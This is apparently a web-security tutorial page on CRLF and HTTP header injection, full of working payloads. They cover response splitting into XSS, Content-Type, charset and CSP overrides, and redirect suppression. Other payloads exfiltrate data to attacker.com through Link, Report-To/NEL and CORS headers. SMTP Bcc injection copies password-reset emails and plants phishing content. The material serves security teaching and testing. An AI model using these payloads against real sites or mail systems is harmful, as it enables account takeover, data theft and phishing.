CRLF / Header Injection

Manipulate HTTP headers in your favor or insert completely new ones with even more control

HTTP is a plaintext protocol that works with Carriage Return (\r) Line Feed (\n) delimited headers. When user input lands in the response headers from an HTTP server, injecting these CRLF characters can result in some client-side attacks abusing headers.

Response Splitting

The first thing you should think about when you are able to inject a newline into a response, is if you can inject two newlines. This signifies the end of headers and start of body for HTTP responses, so you'll suddenly be writing a body. In HTML this means you can write <script> tags or similar things to achieve Cross-Site Scripting (XSS):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 36
Some-Header: [INPUT]

<body>This is the normal body</body>

In place of [INPUT], we will now put two CRLF sequences followed by the HTML body we want to inject.

Payload: x%0D%0A%0D%0A<script>alert(origin)</script>

Exploit
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 36
Some-Header: x

<script>alert(origin)</script>

<body>This is the normal body</body>

Note that the Content-Length: is still limited, it cuts off the response at the new end, but our injected content comes first:

Example in browser showing injected content and partially original content

Content Type

If the response isn't HTML but something like JSON instead, you can still overwrite the Content-Type: header with another one. The last one counts!

Payload: x%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert(origin)%3C/script%3E

Payload
HTTP/1.1 200 OK
Content-Type: application/json
Some-Header: x
Content-Type: text/html

<script>alert(origin)</script>

{"some": "json"}

More tricks for [INPUT] inside the existing Content-Type header itself can be found in this writeup. It contains a trick to escape the HTML context if your payload in the body is limited.

A Content-Security-Policy: may be in effect on the resulting page. If your XSS is limited by this, Content-Security-Policy (CSP) bypasses are the first thing you should look at of course. But specifically in Firefox there is another trick that can almost redefine the policy. Issue 1864434 tracks this behavior where using the special multipart/x-mixed-replace content type, the body has the following structure:

HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=BOUNDARY

--BOUNDARY
Content-Type: text/html

<h1>First</h1>
--BOUNDARY
Content-Type: text/plain

Second message
--BOUNDARY--

You may recognize the similarities with the multipart/form-data type commonly used in file upload requests. The body starts and ends with a boundary. Documents within those replace the previous one. The above would result in "Second message" in a text/plain content type to be displayed.

Interestingly, you can replace other headers too, like Content-Security-Policy. While it won't fully replace the header or specified directives, you can add directives that the main header didn't specify, similar to if you would append content to the existing header. With script-src and style-src directives, you can use the uncommon script-src-elem and style-src-elem to set a laxer policy for specifically <script> and <style>/<link rel=stylesheet> elements. You can just enable all of the unsafe features again:

HTTP/1.1 200 OK
Content-Security-Policy: script-src 'none'; style-src 'none'
Content-Type: multipart/x-mixed-replace; boundary=BOUNDARY

--BOUNDARY
Content-Type: text/html
Content-Security-Policy: script-src-elem 'unsafe-inline'; script-style-elem https:

<script>alert(origin)</script>
<style>@import '...'</style>
--BOUNDARY--

Charset

If your input is filtered/sanitized, you can also abuse the charset of the content type by overwriting it in a header. The UTF-16 charset, for example, has null bytes in between each character:

Payload: x%0D%0AContent-Type:%20text/html;%20charset=UTF-16%0D%0A%0D%0A%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00(%00o%00r%00i%00g%00i%00n%00)%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

HTTP/1.1 200 OK
Content-Type: application/json
Some-Header: x
Content-Type: text/html; charset=UTF-16

<�s�c�r�i�p�t�>�a�l�e�r�t�(�o�r�i�g�i�n�)�<�/�s�c�r�i�p�t�>�

{"some": "json"}

If XSS isn't an option, it can also be combined with UTF-16 iframe/stylesheet content to leak content in the response.

Redirect with Location:

One common situation is when your injection point is the value of a Location: header in a 30X redirect. The problem is that the browser will normally just redirect to the given location without rendering the body. This prevents us from directly injecting a <script> tag, for example.

Response
HTTP/1.1 302 Found
Content-Type: text/html
Location: [INPUT]

First of all, an open redirect may be possible if the URL isn't validated strictly. See the following examples:

Location: [INPUT]                   -> http://evil.com
Location: /[INPUT]                  -> //evil.com or /\evil.com
Location: http://example.com[INPUT] -> http://[email protected]
Location: /any/path/[INPUT]         -> ../../dangerous/path

This isn't nearly as impactful as XSS though, but fortunately there are some tricks in both Chrome and Firefox that cause it to ignore the redirect and show the body instead. Chrome is the hardest, but simplest to understand. If the Location: is empty it will be ignored, otherwise it won't.

Chrome
Location: 

Some writeups explain that on Firefox there is a more interesting trick, using the resource:// protocol:

Firefox
Location: resource://anything

With the above payloads, you can force the browser to stop redirecting and show the content instead. With the ability to insert newlines in the response you can give it a HTML body with XSS:

Chrome Payload: %0D%0A%0D%0A%3Csvg%20onload=alert()%3E

Location: 

<svg onload=alert()>

Firefox Payload: resource://anything%0D%0A%0D%0A%3Csvg%20onload=alert()%3E

Location: resource://anything

<svg onload=alert()>

Firefox XSS without CRLF

If you have the same injection point in a response both in the Location: and in the body, where you can escape the body for XSS with special characters, you can use the resource:// prefix to ignore the redirect. After ? special characters are allowed:

HTTP/1.1 302 Found
Location: [INPUT]
Content-Type: text/html

<html>Object moved to <a href="[INPUT]">here</a></html>

Payload: resource://test?"><img src onerror=alert()>

Exploit
HTTP/1.1 302 Found
Location: resource://test?"><img src onerror=alert()>
Content-Type: text/html

<html>Object moved to <a href="resource://test?"><img src onerror=alert()>">here</a></html>

If this protocol isn't allowed in your situation, try appending a correct https:// URL after it to see if it performs a partial match.

Response Headers

If response splitting isn't an option for whatever reason, you may still get interesting results out of inject some special headers that the browser understands.

One of the simplest is just setting a cookie in the response with the Set-Cookie: header. This has the same impact as Cookie Tossing, but if you're targeting the same host would also allow setting __Host- prefixed cookies.

You can only set one cookie per header, but this is no problem if you can inject multiple headers. One fact that makes this especially useful is the fact that it works on redirects:

HTTP/1.1 302 Found
Location: /somewhere
Set-Cookie: xss=<script>alert(origin)</script>

The Link: header is a special one that has many different features. In the header value you provide a link in between angle brackets (<>), followed by attributes like rel= that specify what it's used for. Using a comma (,) it's possible to provide multiple link rules in one header.

The following table shows which rel types are recognized. Note that not all of them actually do something, or work in the header instead of a <link> tag:

List of all rel= attributes and their meaning

This header adds the link URL as a stylesheet to the returned page, allowing CSS Injection. The syntax is as follows:

Link: <https://attacker.com>;rel=stylesheet

Only Firefox understands stylesheets through a header, it will be ignored in Chrome. I found this once in the real world in a partial Link: header injection that reflected the URL, to style the 404 page arbitrarily. It also shows that the first rel= attribute takes priority.

rel="preload" with referrerpolicy="unsafe-url"

Due to what's arguably a chrome bug, injecting a header in a subresource request, even a cross-site one, you can leak the current URL in the Referer:. Check out HTML Injection.

NEL (Network Error Logging)

Network Error Logging is a part of the Reporting API, responsible for sending reports about certain things happening in your browser. These reports can be sent externally, for example to a server you control. One of the most useful for attackers is NEL which will log URLs that gave error status codes. Using the success_fraction parameter it's also possible to leak successful URLs. include_subdomains allows leaking URLs upon DNS failures of domains under the one it was set on.

This is all configured using response headers, and once registered, will keep being active for quite a while (not only a single request). First, you need to define an endpoint to report to:

Report-To:
{
  "group": "leak",
  "max_age": 600,
  "include_subdomains": true,
  "endpoints": [
    {
      "url": "https://attacker.com/report"
    }
  ]
}

Then, configure logging 100% of the error and 100% of the successful requests that created endpoint:

NEL:
{
  "report_to": "leak",
  "include_subdomains": true,
  "success_fraction": 1,
  "failure_fraction": 1,
  "max_age": 600
}

Together, the headers you inject should look something like this:

Report-To: {"group":"leak","max_age":600,"include_subdomains":true,"endpoints":[{"url":"https://attacker.com/report"}]}
NEL: {"report_to":"leak","include_subdomains":true,"success_fraction":1,"failure_fraction":1,"max_age":600}

From now on, the next 600 seconds (10 minutes) all top-level requests to the domain that these response headers were set on will be sent to https://attacker.com/report. Requests will be batched and sent every minute, and debugging this can be annoying. There are some tips in the article below to get DevTools to show you which requests are queued:

Explanation of the Reporting API and some debugging tips

You can also use the --short-reporting-delay startup flag in Chrome while testing to make the minute-delay shorter and receive reports instantly.

Tip: while testing, make sure the host and reporting endpoint use https://, and Cloudflare is not overwriting it with its own cf-nel. Set up a working receiving server using interactsh-client -v.

CORS

If your goal is to leak some content of the response that you are at the same time injecting into, this is possible by adding permissive CORS headers. For example:

Response Headers
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Expose-Headers: X-Super-Sensitive-Header
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: DELETE, PUT, PATCH

If you can trigger the header injection via a fetch() request, this now allows you to read the body and any other headers it responds with:

fetch("https://target.com/inject%0aAccess-Control-...").then(async r => {
  console.log(Object.fromEntries(r.headers.entries()));
  console.log(await r.text());    
});

SMTP

Just like HTTP, SMTP for sending emails is also a CRLF-delimited plaintext protocol with headers. These emails are often sent by applications automatically with information to you like a password reset or notifications. Such emails are often sensitive and if an attacker-controlled input can mess with the request it can get leaked, or malicious content can be injected.

A typical SMTP request looks like this:

EHLO
MAIL FROM:[email protected]
RCPT TO:[email protected]
DATA
From: [email protected]
To: [email protected]
Subject: some subject

Content...
.

A common place to inject is the RCPT TO: SMTP header as this is where the email is sent to. By injecting CRLF characters, new headers like RCPT TO:[email protected] to receive a copy of the email in your inbox (very dangerous for secrets like password reset tokens!). More commonly you will also see an injection into the DATA section where headers like Bcc can be added to send a copy to yourself or add content to the email for an indistinguishable phishing attack. A common place is the Subject or From/To headers:

Subject Payload: a%0D%0ABcc:%[email protected]%0D%0A%0D%0A%3Ch1%3EPhishing!%3C/h1%3E

From: [email protected]
To: [email protected]
Subject: a
Bcc: [email protected]

<h1>Phishing!</h1>
Content...

Last updated